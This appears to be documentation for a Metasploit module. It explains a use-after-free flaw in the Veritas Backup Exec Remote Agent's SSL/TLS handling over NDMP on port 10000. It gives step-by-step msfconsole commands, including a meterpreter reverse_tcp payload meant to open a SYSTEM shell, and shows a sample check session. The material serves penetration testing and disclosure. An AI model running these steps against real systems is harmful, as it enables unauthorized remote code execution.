The agent accepts NDMP connections on TCP port 10000. The vendor-specific
`0xF383` NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS
session. Sub-type `4` initiates the SSL/TLS handshake; after successfully
completing this the client and server continue the NDMP session through the
SSL/TLS session.
The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS
session is created, the agent creates necessary OpenSSL structures, including a
`struct BIO` from the connection's associated network socket using
`BIO_new_socket`. Upon the end of the SSL/TLS session, this structure is freed
by a call to `BIO_free` through a call to `SSL_free`.
However, if a SSL/TLS connection is then re-established on the same NDMP
connection, the previously freed `BIO` is re-used in the new SSL/TLS session
even though it is no longer allocated. The `BIO` is stored during the first
connection setup and then retrieved during second connection setup as a member
of the `CSecuritySSLConnection` class, despite the call to `SSL_free` previously
freeing it. This leads to a use-after-free as the `BIO` contains a pointer to a
structure (`BIO_METHOD *method`) of function pointers that are used to perform
operations such as reading and writing from the wrapped `BIO` object (in this
case, the network socket).
By overwriting the previously allocated `BIO` with controlled data, it is
possible to gain remote code execution when OpenSSL attempts to call one of
these function pointers.
## Verification Steps
1. Install the Backup Exec server on a host.
2. Install the Backup Exec Remote Agent for Windows on another host, either
manually or through the server's remote agent installation feature. Note that
in this contrived test situation you should be sure to let the agent run for
a few minutes before continuing so it can finish initial startup work that
otherwise interferes with the exploit's heap manipulation.
3. Start `msfconsole`.
4. Select the module and configure it with, at minimum, the address of the host
running the remote agent:
```
use exploit/windows/backupexec/ssl_uaf
set RHOST [REMOTE AGENT HOST]
```
5. Check the service is running and potentially vulnerable with the `check`
command.
6. Select a target version using `set target [TARGET]`.
7. Select a payload and its options; for example:
```
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [METASPLOIT HOST]
```
8. Start the exploit using the `exploit` command.
9. Hopefully get a `NT AUTHORITY\SYSTEM` shell :)
An example session is as follows:
```
msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > set RHOST win10
RHOST => win10
msf exploit(ssl_uaf) > check
Hostname: WIN10
OS type: Windows NT
OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64
Host ID: XXXX::XXXX:XXXX:XXXX:XXXX
Vendor: VERITAS Software, Corp.
Product: Remote Agent for NT
Revision: 9.2
[*] win10:10000 The target appears to be vulnerable.
